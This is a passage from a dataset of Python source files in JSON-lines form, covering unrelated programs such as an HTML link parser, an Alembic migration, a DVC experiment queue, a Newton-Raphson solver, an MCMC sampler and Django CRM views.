SystemError(\"PyThreadState_SetAsyncExc failed, broke the interpreter state.\")\n\ndef callsite_filename():\n \"\"\"Return the filename of the call site, as a string.\n\n Useful as a building block for debug utilities and similar.\n\n The filename is grabbed from the call stack using `inspect`.\n This works also in the REPL (where `__file__` is undefined).\n \"\"\"\n stack = inspect.stack()\n\n # Python 3.5+ have named fields here.\n # named tuple FrameInfo(frame, filename, lineno, function, code_context, index)\n # https://docs.python.org/3/library/inspect.html#the-interpreter-stack\n # But on 3.4:\n # When the following functions return “frame records,” each record is a\n # tuple of six items: the frame object, the filename, the line number of\n # the current line, the function name, a list of lines of context from the\n # source code, and the index of the current line within that list.\n # https://docs.python.org/3.4/library/inspect.html#the-interpreter-stack\n # frame = stack[1].frame # Python 3.5+\n framerecord = stack[1]\n frame = framerecord[0]\n\n filename = frame.f_code.co_filename\n del frame, stack\n return filename\n\ndef safeissubclass(cls, cls_or_tuple):\n \"\"\"Like issubclass, but if `cls` is not a class, swallow the `TypeError` and return `False`.\"\"\"\n try:\n return issubclass(cls, cls_or_tuple)\n except TypeError: # \"issubclass() arg 1 must be a class\"\n pass\n return False\n","sub_path":"unpythonic/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":32244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"326162460","text":"#!/usr/bin/python\n\nfrom threading import Thread, Event\nimport time\nimport random\n\nboat = []\nqueue = ['R', 'R', 'B', 'R', 'B', 'R', 'B', 'B', 'B', 'B', 'R', 'R']\n\nprint(queue.count(\"R\"))\nprint(queue.count(\"B\"))\n\ndef correctCrew():\n global boat\n global queue\n while boat.count(\"R\") == 3 or boat.count(\"B\") == 3:\n queue.append(boat.pop(0))\n boat.append(queue.pop(0))\n else:\n print(\"Boat after crew re-distribution:\", boat)\n\n\ndef aboard():\n global boat\n global queue\n\n while len(queue) != 0:\n print(\"Queue before extraction:\", queue)\n for i in range(4):\n boat.append(queue.pop(0))\n \n print(\"Boat crew: \", boat)\n correctCrew()\n print(\"Queue after extraction: \", queue)\n boat = []\n\naboard()\n","sub_path":"tps/tp2/parts/part2_singleThreaded.py","file_name":"part2_singleThreaded.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"306838826","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport json\n\nfrom alipay.aop.api.constant.ParamConstants import *\n\n\nclass ObjectKeyWord(object):\n\n def __init__(self):\n self._category = None\n self._key_word = None\n self._score = None\n\n @property\n def category(self):\n return self._category\n\n @category.setter\n def category(self, value):\n self._category = value\n @property\n def key_word(self):\n return self._key_word\n\n @key_word.setter\n def key_word(self, value):\n self._key_word = value\n @property\n def score(self):\n return self._score\n\n @score.setter\n def score(self, value):\n self._score = value\n\n\n def to_alipay_dict(self):\n params = dict()\n if self.category:\n if hasattr(self.category, 'to_alipay_dict'):\n params['category'] = self.category.to_alipay_dict()\n else:\n params['category'] = self.category\n if self.key_word:\n if hasattr(self.key_word, 'to_alipay_dict'):\n params['key_word'] = self.key_word.to_alipay_dict()\n else:\n params['key_word'] = self.key_word\n if self.score:\n if hasattr(self.score, 'to_alipay_dict'):\n params['score'] = self.score.to_alipay_dict()\n else:\n params['score'] = self.score\n return params\n\n @staticmethod\n def from_alipay_dict(d):\n if not d:\n return None\n o = ObjectKeyWord()\n if 'category' in d:\n o.category = d['category']\n if 'key_word' in d:\n o.key_word = d['key_word']\n if 'score' in d:\n o.score = d['score']\n return o\n\n\n","sub_path":"alipay/aop/api/domain/ObjectKeyWord.py","file_name":"ObjectKeyWord.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"61686657","text":"import os\nimport sys\nimport html.parser\nimport urllib.parse\n\nimport libLog\n\n\nclass HtmlParser(html.parser.HTMLParser):\n \"\"\" With more work, this parser can also be made multi-threaded in that\n multiple lines are processed at the same time. It could also be done\n using multiprocessing, but since this is pure parsing, the overhead of\n having multiple processes may be more than the gains, unless the script\n is parsing a huge number of lines\n \"\"\"\n def __init__(self, url, outQ):\n super(HtmlParser, self).__init__()\n\n self.cwd = os.path.dirname(os.path.realpath(sys.argv[0]))\n self.url = url # Used for building relative URLs\n self.outQ = outQ # Store all the parsed Links for further processing\n self.logger = libLog.getLogger(\"HtmlParser\", self.cwd)\n self.logger.debug(\"HTML PARSER LOGGER INITED\")\n\n def handle_starttag(self, tag, attrs):\n #self.logger.debug(\"Start tag identified\")\n tag = tag.lower()\n attrs = dict(attrs)\n #self.logger.debug(\"Tag.......: %s\" % tag)\n #self.logger.debug(\"Attributes: %s\" % attrs)\n\n if tag == \"meta\":\n if \"content\" in attrs:\n self.fixLinkAndStoreToQueue(attrs[\"content\"])\n elif tag == \"option\":\n if \"value\" in attrs:\n self.fixLinkAndStoreToQueue(attrs[\"value\"])\n elif tag == \"div\":\n if \"data-href\" in attrs:\n self.fixLinkAndStoreToQueue(attrs[\"data-href\"])\n elif tag == \"form\":\n if \"action\" in attrs:\n self.fixLinkAndStoreToQueue(attrs[\"action\"])\n elif tag in [\"script\", \"img\", \"iframe\"]:\n if \"src\" in attrs:\n self.fixLinkAndStoreToQueue(attrs[\"src\"])\n elif tag in [\"link\"]:\n if \"href\" in attrs:\n self.fixLinkAndStoreToQueue(attrs[\"href\"])\n else:\n if \"href\" in attrs:\n self.fixLinkAndStoreToQueue(attrs[\"href\"])\n else:\n pass\n\n\n def fixLinkAndStoreToQueue(self, thisUrl):\n self.logger.debug(\"Fixing Url and saving in Queue\")\n self.logger.debug(\"-- %s\" % thisUrl)\n if thisUrl.startswith(\"http:\") or thisUrl.startswith(\"https:\"):\n self.logger.debug(\"-- No need to fix Url\")\n\n elif thisUrl.startswith(\"//\"):\n self.logger.debug(\"-- Prepending http: to Url\")\n thisUrl = urllib.parse.urljoin(\"http:\", thisUrl)\n\n elif thisUrl.startswith(\"/\"):\n self.logger.debug(\"-- Prepending %s to Url\" % self.url)\n thisUrl = urllib.parse.urljoin(self.url, thisUrl)\n\n else:\n self.logger.debug(\"-- Url discarded: %s\" % thisUrl)\n return\n\n self.logger.debug(\"-- Saving Url to queue: %s\" % thisUrl)\n self.outQ.put(thisUrl)\n","sub_path":"Task 1 - WebRequestReporter/libHtmlParser.py","file_name":"libHtmlParser.py","file_ext":"py","file_size_in_byte":2841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"645262145","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\"\"\"Remove hierarchy for level values\n\nRevision ID: a86472389a70\nRevises: 0c586adad733\nCreate Date: 2016-08-18 14:00:03.197693\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = 'a86472389a70'\ndown_revision = '0c586adad733'\nbranch_labels = None\ndepends_on = None\n\nfrom alembic import context\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n table_prefix = context.config.get_main_option('table_prefix')\n table_name = table_prefix + 'environment_hierarchy_level_value'\n with op.batch_alter_table(table_name) as batch:\n batch.drop_column('parent_id')\n\n batch.drop_constraint(\n table_name + '_level_id_fkey',\n type_='foreignkey'\n )\n batch.create_foreign_key(\n table_name + '_level_id_fkey',\n table_prefix + 'environment_hierarchy_level',\n ['level_id'], ['id'], ondelete='CASCADE'\n )\n\n batch.create_unique_constraint(\n table_name + '_level_id_value_unique',\n ['level_id', 'value']\n )\n\n\ndef downgrade():\n table_prefix = context.config.get_main_option('table_prefix')\n table_name = table_prefix + 'environment_hierarchy_level_value'\n with op.batch_alter_table(table_name) as batch:\n batch.drop_constraint(\n table_name + '_level_id_value_unique',\n type_='unique'\n )\n\n batch.drop_constraint(\n table_name + '_level_id_fkey',\n type_='foreignkey'\n )\n batch.create_foreign_key(\n table_name + '_level_id_fkey',\n table_prefix + 'environment_hierarchy_level',\n ['level_id'], ['id']\n )\n\n batch.add_column(sa.Column('parent_id', sa.Integer(), nullable=True))\n batch.create_foreign_key(\n table_name + '_parent_id_fkey',\n table_name,\n ['parent_id'], ['id']\n )\n","sub_path":"tuning_box/migrations/versions/a86472389a70_remove_hierarchy_for_level_values.py","file_name":"a86472389a70_remove_hierarchy_for_level_values.py","file_ext":"py","file_size_in_byte":2426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"276326169","text":"from pymongo import MongoClient\n\nfrom .tsunawatari2 import *\n\nclass ArticleDB:\n __slot__ = (\"__client\", \"__db\", \"__co\")\n\n def __init__(self):\n self.__client = MongoClient()\n # use db space and collection\n self.__db = self.__client.ArticleDB\n self.__co = self.__db.article_collection\n self.__col1 = COL1\n self.__col2 = COL2\n self.__col3 = COL3\n self.__col4 = COL4\n self.__col5 = COL5\n self.__col6 = COL6\n\n def is_exist_article(self, title, href):\n #\n # Check exist article in DB\n #\n result = self.__co.find_one({self.__col1: title, self.__col2: href})\n if result == None:\n return False\n else:\n return True\n\n def insert(self, title, href, date, bow, html, categories = None):\n #\n # If not exist article , insert title and href into collection.\n #\n if self.is_exist_article(title, href):\n for data in self.select(title, href):\n # If this article was failed getting html, delete article and re-install\n if data[\"html\"] == None or data[\"bow\"] == None:\n self.delete(title, href)\n print(\"Insert article to DB\")\n self.__co.insert_one({self.__col1: title,\\\n self.__col2: href, self.__col3: date,\\\n self.__col4: bow, self.__col5: html,\n self.__col6: categories})\n print(\"Insert article to DB [FIN]\")\n else:\n pass\n else:\n print(\"Insert article to DB\")\n self.__co.insert_one({self.__col1: title,\\\n self.__col2: href, self.__col3: date,\\\n self.__col4: bow, self.__col5: html,\n self.__col6: categories})\n print(\"Insert article to DB [FIN]\")\n\n def update(self, title, href, date = None, bow = None, html = None, categories = None):\n #{{{\n #\n # Update article db\n #\n if date == None and bow == None and html == None and categories == None:\n pass\n else:\n org = self.__co.find_one({self.__col1: title, self.__col2: href})\n if org != None:\n # Update function\n fil = {self.__col1: title, self.__col2: href}\n replacement = {self.__col1: title, self.__col2: href}\n # Set replacement\n #{{{\n # Date\n if date == None:\n replacement[self.__col3] = org[self.__col3]\n else:\n replacement[self.__col3] = date\n # BoW\n if bow == None:\n replacement[self.__col4] = org[self.__col4]\n else:\n replacement[self.__col4] = bow\n # Html\n if html == None:\n replacement[self.__col5] = org[self.__col5]\n else:\n replacement[self.__col5] = html\n # Categories\n if categories == None:\n replacement[self.__col6] = org[self.__col6]\n else:\n replacement[self.__col6] = categories\n #}}}\n # Update db\n self.__co.replace_one(fil, replacement)\n else:\n # If article is not exist, insert to db.\n self.insert(title, href, date, bow, html, categories)\n #}}}\n\n # TODO: Update seach condition\n def select(self, title = None, href = None):\n #\n # Select article from collection\n #\n if title == None and href == None:\n return self.__co.find()\n else:\n if title != None and href != None:\n dic = {self.__col1: title, self.__col2: href}\n elif title != None:\n dic = {self.__col1: title}\n else:\n dic = {self.__col2: href}\n return self.__co.find(dic)\n\n def delete(self, title, href):\n #\n # Delete article from collection\n #\n print(\"Delete article from DB\")\n self.__co.find_one_and_delete({self.__col1: title, \\\n self.__col2: href})\n print(\"Delete article from DB [FIN]\")\n\n","sub_path":"jspage_scrapetest/tsunawatari2/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":4376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"420581143","text":"import json\nimport logging\nfrom collections import defaultdict\nfrom typing import TYPE_CHECKING, Collection, Dict, Generator, List, Optional\n\nimport psutil\nfrom funcy import first\nfrom voluptuous import Invalid\n\nfrom dvc.exceptions import DvcException\nfrom dvc.lock import make_lock\nfrom dvc.repo.experiments.exceptions import ExpQueueEmptyError\nfrom dvc.repo.experiments.executor.base import ExecutorInfo, TaskStatus\nfrom dvc.repo.experiments.executor.local import WorkspaceExecutor\nfrom dvc.repo.experiments.refs import EXEC_BRANCH, WORKSPACE_STASH\nfrom dvc.repo.experiments.utils import get_exp_rwlock\nfrom dvc.rwlock import RWLOCK_FILE, RWLOCK_LOCK, SCHEMA\nfrom dvc.utils import relpath\nfrom dvc.utils.fs import remove\n\nfrom .base import BaseStashQueue, QueueEntry, QueueGetResult\n\nif TYPE_CHECKING:\n from dvc.repo.experiments import Experiments\n from dvc.repo.experiments.executor.base import BaseExecutor, ExecutorResult\n\n from .base import QueueDoneResult\n\nlogger = logging.getLogger(__name__)\n\n\nclass WorkspaceQueue(BaseStashQueue):\n _EXEC_NAME: Optional[str] = \"workspace\"\n\n def put(self, *args, **kwargs) -> QueueEntry:\n with get_exp_rwlock(self.repo, writes=[\"workspace\", WORKSPACE_STASH]):\n return self._stash_exp(*args, **kwargs)\n\n def get(self) -> QueueGetResult:\n revs = self.stash.stash_revs\n if not revs:\n raise ExpQueueEmptyError(\"No experiments in the queue.\")\n stash_rev, stash_entry = first(revs.items())\n entry = QueueEntry(\n self.repo.root_dir,\n self.scm.root_dir,\n self.ref,\n stash_rev,\n stash_entry.baseline_rev,\n stash_entry.branch,\n stash_entry.name,\n stash_entry.head_rev,\n )\n executor = self.init_executor(self.repo.experiments, entry)\n return QueueGetResult(entry, executor)\n\n def iter_queued(self) -> Generator[QueueEntry, None, None]:\n for rev, entry in self.stash.stash_revs.items():\n yield QueueEntry(\n self.repo.root_dir,\n self.scm.root_dir,\n self.ref,\n rev,\n entry.baseline_rev,\n entry.branch,\n entry.name,\n entry.head_rev,\n )\n\n def iter_active(self) -> Generator[QueueEntry, None, None]:\n # Workspace run state is reflected in the workspace itself and does not\n # need to be handled via the queue\n raise NotImplementedError\n\n def iter_done(self) -> Generator[\"QueueDoneResult\", None, None]:\n raise NotImplementedError\n\n def iter_failed(self) -> Generator[\"QueueDoneResult\", None, None]:\n raise NotImplementedError\n\n def iter_success(self) -> Generator[\"QueueDoneResult\", None, None]:\n raise NotImplementedError\n\n def reproduce(self) -> Dict[str, Dict[str, str]]:\n results: Dict[str, Dict[str, str]] = defaultdict(dict)\n try:\n while True:\n entry, executor = self.get()\n results.update(self._reproduce_entry(entry, executor))\n except ExpQueueEmptyError:\n pass\n return results\n\n def _reproduce_entry(\n self, entry: QueueEntry, executor: \"BaseExecutor\"\n ) -> Dict[str, Dict[str, str]]:\n from dvc.stage.monitor import CheckpointKilledError\n\n results: Dict[str, Dict[str, str]] = defaultdict(dict)\n exec_name = self._EXEC_NAME or entry.stash_rev\n infofile = self.get_infofile_path(exec_name)\n try:\n rev = entry.stash_rev\n exec_result = executor.reproduce(\n info=executor.info,\n rev=rev,\n infofile=infofile,\n log_level=logger.getEffectiveLevel(),\n log_errors=not isinstance(executor, WorkspaceExecutor),\n )\n if not exec_result.exp_hash:\n raise DvcException(f\"Failed to reproduce experiment '{rev[:7]}'\")\n if exec_result.ref_info:\n results[rev].update(\n self.collect_executor(self.repo.experiments, executor, exec_result)\n )\n except CheckpointKilledError:\n # Checkpoint errors have already been logged\n return {}\n except DvcException:\n raise\n except Exception as exc: # noqa: BLE001\n raise DvcException(f\"Failed to reproduce experiment '{rev[:7]}'\") from exc\n finally:\n executor.cleanup(infofile)\n return results\n\n @staticmethod\n def collect_executor( # pylint: disable=unused-argument\n exp: \"Experiments\",\n executor: \"BaseExecutor\", # noqa: ARG004\n exec_result: \"ExecutorResult\",\n ) -> Dict[str, str]:\n results: Dict[str, str] = {}\n exp_rev = exp.scm.get_ref(EXEC_BRANCH)\n if exp_rev:\n assert exec_result.exp_hash\n logger.debug(\"Collected experiment '%s'.\", exp_rev[:7])\n results[exp_rev] = exec_result.exp_hash\n\n return results\n\n def get_result(self, entry: QueueEntry) -> Optional[\"ExecutorResult\"]:\n raise NotImplementedError\n\n def kill(self, revs: Collection[str]) -> None:\n raise NotImplementedError\n\n def shutdown(self, kill: bool = False):\n raise NotImplementedError\n\n def logs(\n self,\n rev: str,\n encoding: Optional[str] = None,\n follow: bool = False,\n ):\n raise NotImplementedError\n\n def check_rwlock(\n self,\n hardlink: bool = False,\n autocorrect: bool = False,\n ) -> bool:\n \"\"\"Check and autocorrect the RWLock status for file paths.\n\n Args:\n hardlink (bool): use hardlink lock to guard rwlock file when on\n edit.\n autocorrect (bool): autocorrect corrupted rwlock file.\n\n Return:\n (bool): if the pid alive.\n \"\"\"\n path = self.repo.fs.path.join(self.repo.tmp_dir, RWLOCK_FILE)\n\n rwlock_guard = make_lock(\n self.repo.fs.path.join(self.repo.tmp_dir, RWLOCK_LOCK),\n tmp_dir=self.repo.tmp_dir,\n hardlink_lock=hardlink,\n )\n with rwlock_guard:\n try:\n with self.repo.fs.open(path, encoding=\"utf-8\") as fobj:\n lock: Dict[str, List[Dict]] = SCHEMA(json.load(fobj))\n file_path = first(lock[\"read\"])\n if not file_path:\n return False\n lock_info = first(lock[\"read\"][file_path])\n pid = int(lock_info[\"pid\"])\n if psutil.pid_exists(pid):\n return True\n cmd = lock_info[\"cmd\"]\n logger.warning(\n \"Process '%s' with (Pid %s), in RWLock-file '%s' had been killed.\",\n cmd,\n pid,\n relpath(path),\n )\n except FileNotFoundError:\n return False\n except json.JSONDecodeError:\n logger.warning(\n \"Unable to read RWLock-file '%s'. JSON structure is corrupted\",\n relpath(path),\n )\n except Invalid:\n logger.warning(\"RWLock-file '%s' format error.\", relpath(path))\n if autocorrect:\n logger.warning(\"Delete corrupted RWLock-file '%s'\", relpath(path))\n remove(path)\n return False\n\n def get_running_exps(\n self,\n fetch_refs: bool = True, # noqa: ARG002\n ) -> Dict[str, Dict]:\n from dvc.utils.serialize import load_json\n\n assert self._EXEC_NAME\n result: Dict[str, Dict] = {}\n\n if not self.check_rwlock(autocorrect=True):\n return result\n\n infofile = self.get_infofile_path(self._EXEC_NAME)\n\n try:\n info = ExecutorInfo.from_dict(load_json(infofile))\n except OSError:\n return result\n\n if info.status < TaskStatus.FAILED:\n # If we are appending to a checkpoint branch in a workspace\n # run, show the latest checkpoint as running.\n if info.status == TaskStatus.SUCCESS:\n return result\n last_rev = self.scm.get_ref(EXEC_BRANCH)\n if last_rev:\n result[last_rev] = info.asdict()\n else:\n result[self._EXEC_NAME] = info.asdict()\n return result\n","sub_path":"dvc/repo/experiments/queue/workspace.py","file_name":"workspace.py","file_ext":"py","file_size_in_byte":8468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"404374893","text":"# Take a polynomial function and calculate it's root using the\n# Newton-Raphson method\n\nimport decimal\ndecimal.getcontext().prec = 10 # Allows for much more accurate decimals\n\n# epsilon is the degree of accuracy that you want\n\nepsilon = 0.01\ncoeff = []\nroots = ['root', 'Root']\npolynomial = ['polynomial', 'Polynomial']\n\n\ndef poly(list, num):\n '''\n Takes a list of coefficients and a number to evaluate on and return the\n value of a polynomial with those coefficients at that point\n '''\n poly = 0\n for n in range(len(list)):\n poly += list[n]*num**(n)\n return poly\n\n\ndef dpoly(list, num):\n '''\n Takes a list of coefficients and a number and evaluates the derivative\n of a polynomial built using those numbers.\n '''\n dpoly = 0\n for n in range(len(list)):\n dpoly += list[n]*n*num**(n-1)\n return dpoly\n\n\ndef prompt1():\n '''\n Prompts the user for whether they want to find the nth root of something\n or enter a polynomial and find it's roots.\n '''\n while True:\n print(\"Would you like to calculate a root or enter a\", end=' ')\n print(\"polynomial directly?\")\n user = str(input())\n if user in roots:\n break\n elif user in polynomial:\n break\n else:\n print(\"please enter 'root' or 'polynomial'\")\n continue\n return user\n\n\ndef prompt2():\n '''\n Asks if what degree root they want to take\n or what degree polynomial they want.\n '''\n while True:\n print(\"What degree root do you want to calculate,\", end=' ')\n print(\"or what degree polynomial do you want?\")\n try:\n degree = int(input())\n break\n except ValueError:\n print(\"please enter an integer\")\n continue\n return degree\n\n\ndef nroot(user, degree):\n '''\n Takes the number that the user would like to find the nth degree root of\n and then uses the Newton-Raphson method to approximate that number\n '''\n while True:\n try:\n print(f\"What number would you like to find the {degree} root of? \")\n # Makes a vector of polyonmial coefficients and puts the\n # user's value as the 0th degree coefficient\n # Using decimal.Decimal so that much larger numbers\n # may be used\n temp = decimal.Decimal(-float(input()))\n coeff.append(temp)\n val = decimal.Decimal(-coeff[0])\n guess = decimal.Decimal(-coeff[0]/2)\n # Puts zeros in all coefficients other than 0th degree and Puts\n # a 1 in the nth degree\n for i in range(degree-1):\n coeff.append(0)\n coeff.append(1)\n # Carries out the Newton-Raphson algorithm\n while(abs(guess**degree - val) > epsilon):\n guess = guess - (poly(coeff, guess)/dpoly(coeff, guess))\n print(f\"{guess} is approximately the {degree} root of {val}\")\n break\n except ValueError:\n print(\"Sorry, please enter a number\")\n continue\n return guess\n\n\ndef npoly(user, degree):\n '''\n Takes the coefficient of the polynomial and calculates a root\n '''\n while True:\n try:\n for i in range(degree+1):\n temp = decimal.Decimal(float(input(\n f\"Enter your {i} degree term: \")))\n coeff.append(temp)\n guess = decimal.Decimal(-coeff[0]/2)\n\n while(abs(poly(coeff, guess)) > epsilon):\n guess = guess - (poly(coeff, guess)/dpoly(coeff, guess))\n\n print(f\"{guess} is approximately the zero of your polynomial\")\n break\n except ValueError:\n print(\"Sorry, please enter a number\")\n continue\n\n\nuser = prompt1()\ndegree = prompt2()\nif user in roots:\n nroot(user, degree)\nelse:\n npoly(user, degree)\n","sub_path":"newton-raphson.py","file_name":"newton-raphson.py","file_ext":"py","file_size_in_byte":3901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"83151150","text":"from openerp import models, fields, api\nfrom datetime import date\nfrom num2words import num2words\n\nclass Num2Words(models.Model):\n _inherit = 'sale.order'\n\n @api.multi\n def convert_amount(self):\n word = num2words(self.amount_total)\n word = word.title() + \" \" + \"Only\"\n return word","sub_path":"oil_kinetics/OK_sale_order/NtoW.py","file_name":"NtoW.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"58084958","text":"from bs4 import BeautifulSoup\r\n\r\nhtml = '''\r\n
    雄霸
    \r\n
    幽若
    \r\n
    \r\n 第二梦\r\n
    \r\n'''\r\n# 找到所有class为test1的div节点的文本\r\nsoup = BeautifulSoup(html,'lxml')\r\nr_list = soup.find_all(\"div\",\r\n attrs={\"class\":\"test1\"})\r\nfor r in r_list:\r\n print(r.get_text(),r.string)\r\n# 找到class为test2的div节点下span节点的文本\r\nr_list = soup.find_all(\"div\",\r\n attrs={\"class\":\"test2\"})\r\nfor r in r_list:\r\n print(r.span.string)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"aid1807正式班老师课件/爬虫/day06/04_bs4示例代码2.py","file_name":"04_bs4示例代码2.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"311525537","text":"import pygame as pg\r\n\r\n\r\n\r\nclass Shape3:\r\n def __init__(self, points, color):\r\n self.points = points\r\n self.color = color\r\n\r\n def render(self, surface, plane_xyz):\r\n points_pairs = []\r\n for xyz in self.points:\r\n points_pairs.append(self.get_point_pair(plane_xyz, xyz))\r\n pg.draw.polygon(surface, self.color, points_pairs)\r\n\r\n def get_point_pair(self, plane_xyz, point):\r\n plane_x, plane_y, plane_z = plane_xyz\r\n x, y, z = point\r\n if plane_x:\r\n return (y, z)\r\n if plane_y:\r\n return (x, z)\r\n if plane_z:\r\n return (x, y)\r\n\r\n\r\n\r\nclass Rect3(Shape3):\r\n def __init__(self, position_vector_1, length_vector_2, length_vector_4, color):\r\n self.vector_1 = position_vector_1\r\n self.vector_2 = length_vector_2\r\n self.vector_4 = length_vector_4\r\n super().__init__(self.get_points(), color)\r\n\r\n def __repr__(self):\r\n return f\"[{self.vector_1}, {self.vector_2}, {self.vector_3}, {self.vector_4}]\"\r\n \r\n @property\r\n def vector_3(self):\r\n # http://thejuniverse.org/PUBLIC/LinearAlgebra/LOLA/planes/vect.html\r\n v1 = self.vector_1\r\n v2 = self.vector_2\r\n v4 = self.vector_4\r\n # v3 = v1 + s*vector_2 + d*vector_4\r\n # vector form of the plane\r\n # assume s=t=1\r\n return v1 + v2 + v4\r\n\r\n def get_center(self):\r\n xyz = self.vector_1.lerp(self.vector_3, 0.5).xyz\r\n return tuple(xyz)\r\n\r\n def get_points(self):\r\n p1 = self.vector_1.xyz\r\n p2 = (self.vector_2 + self.vector_1).xyz\r\n p3 = self.vector_3.xyz\r\n p4 = (self.vector_4 + self.vector_1).xyz\r\n return [p1, p2, p3, p4]","sub_path":"shapes.py","file_name":"shapes.py","file_ext":"py","file_size_in_byte":1727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"267602589","text":"# Given an array of non-negative integers, you are initially positioned at the\n# first index of the array.\n#\n# Each element in the array represents your maximum jump length at that\n# position.\n#\n# Your goal is to reach the last index in the minimum number of jumps.\n#\n# For example:\n# Given array A = [2,3,1,1,4]\n#\n# The minimum number of jumps to reach the last index is 2. (Jump 1 step from\n# index 0 to 1, then 3 steps to the last index.)\n#\n# Note:\n# You can assume that you can always reach the last index.\n\nclass Solution(object):\n def jump(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n count = 0\n last = 0\n reach = 0\n for i in range(0, len(nums)):\n if last < i:\n count += 1\n last = reach\n reach = max(reach, nums[i] + i)\n return count\n\ns = Solution()\nprint(s.jump([2, 3, 1, 1, 4]))\nprint(s.jump([0, 0, 0, 10]))\n","sub_path":"src/leetcode/LC_045_jump_game2.py","file_name":"LC_045_jump_game2.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"546767215","text":"# https://blog.csdn.net/qq_18822147/article/details/108723112\n# https://blog.csdn.net/bitcarmanlee/article/details/82795137\n\nfrom __future__ import division\n\nimport numpy as np\nimport matplotlib.pylab as plt\n\n\"\"\"\n目标矩阵P可以通过任意一个马尔科夫链状态转移矩阵Q以一定接受概率获得。\n总结下MCMC的采样过程。\n    1)输入我们任意选定的马尔科夫链状态转移矩阵Q,平稳分布π(x),设定状态转移次数阈值n1,需要的样本个数n2\n    2)从任意简单概率分布采样得到初始状态值x0\n    3)for t=0 to n1+n2−1: \n      a) 从条件概率分布Q(x|xt)中采样得到样本x∗\n      b) 从均匀分布采样u∼uniform[0,1]\n      c) 如果u<α(xt,x∗)=π(x∗)Q(x∗,xt), 则接受转移xt→x∗,即xt+1=x∗\n      d) 否则不接受转移,即xt+1=xt\n    样本集(xn1,xn1+1,...,xn1+n2−1)即为我们需要的平稳分布对应的样本集。\n\"\"\"\n\nmu = 3\nsigma = 10\n\n\ndef q(x):\n \"\"\"\n 转移矩阵Q,因为是模拟数字,只有一维,所以Q是个数字(1*1)\n :param x:\n :return:\n \"\"\"\n return np.exp(-(x - mu) ** 2 / (sigma ** 2))\n\n\ndef qsample():\n \"\"\"\n 按照转移矩阵Q生成样本\n :return:\n \"\"\"\n return np.random.normal(mu, sigma)\n\n\ndef p(x):\n \"\"\"\n 目标分布函数p(x)\n :param x:\n :return:\n \"\"\"\n return 0.3 * np.exp(-(x - 0.3) ** 2) + 0.7 * np.exp(-(x - 2.) ** 2 / 0.3)\n\n\ndef mcmc_sample(n=20000):\n \"\"\"\n 使用mcmc生成样本\n :param n:\n :return:\n \"\"\"\n sample = np.zeros(n)\n sample[0] = 0.5 # 初始化\n for i in range(n - 1):\n qs = qsample() # 从转移矩阵Q(x)得到样本xt\n u = np.random.rand() # 均匀分布\n # i=sample[i]是当前样本;j=qs是下一个样本\n p_j = p(qs) # 下个样本的概率\n q_j_i = q(sample[i]) # 从当前样本生成下个样本的转移概率\n p_i = p(sample[i]) # 当前样本的概率\n q_i_j = q(qs) # 下个样本转移到当前样本的概率\n alpha_ij = p_j * q_i_j # alpha(i, j)表达式\n\n if u < alpha_ij:\n sample[i + 1] = qs # 接受\n else:\n sample[i + 1] = sample[i] # 拒绝\n\n return sample\n\nx = np.arange(0, 4, 0.1)\nreal_data = p(x)\nsample_data = mcmc_sample()\nplt.plot(x, real_data, 'g', lw=3) # 理想数据\nplt.plot(x, q(x), 'r') # Q(x)转移矩阵的数据\nplt.hist(sample_data, bins=x, density=1, fc='c') # 采样生成的数据\nplt.show()\n\n\n\n\n","sub_path":"13.sampling/5.mcmc_sampling.py","file_name":"5.mcmc_sampling.py","file_ext":"py","file_size_in_byte":2562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"223973375","text":"from django.shortcuts import render,redirect\nfrom crm import models\nfrom crm.form.forms import DepartModelForm\nfrom crm.utils.pager import Pagination\n\n\n\ndef depart_list(request):\n page = request.GET.get('page', 1)\n total_count = models.Department.objects.all().count()\n\n pager = Pagination(page, total_count, '/crm/depart/list/')\n depart_queryset = models.Department.objects.all()[pager.start:pager.end]\n # depart_queryset = models.Department.objects.all()\n return render(request,'depart_list.html',{'depart_queryset':depart_queryset,'pager':pager})\n\ndef depart_add(request):\n \"\"\"\n 添加部门\n :param request:\n :return:\n \"\"\"\n if request.method == 'get':\n form = DepartModelForm()\n return render(request, 'depart_form.html', {'form':form})\n form = 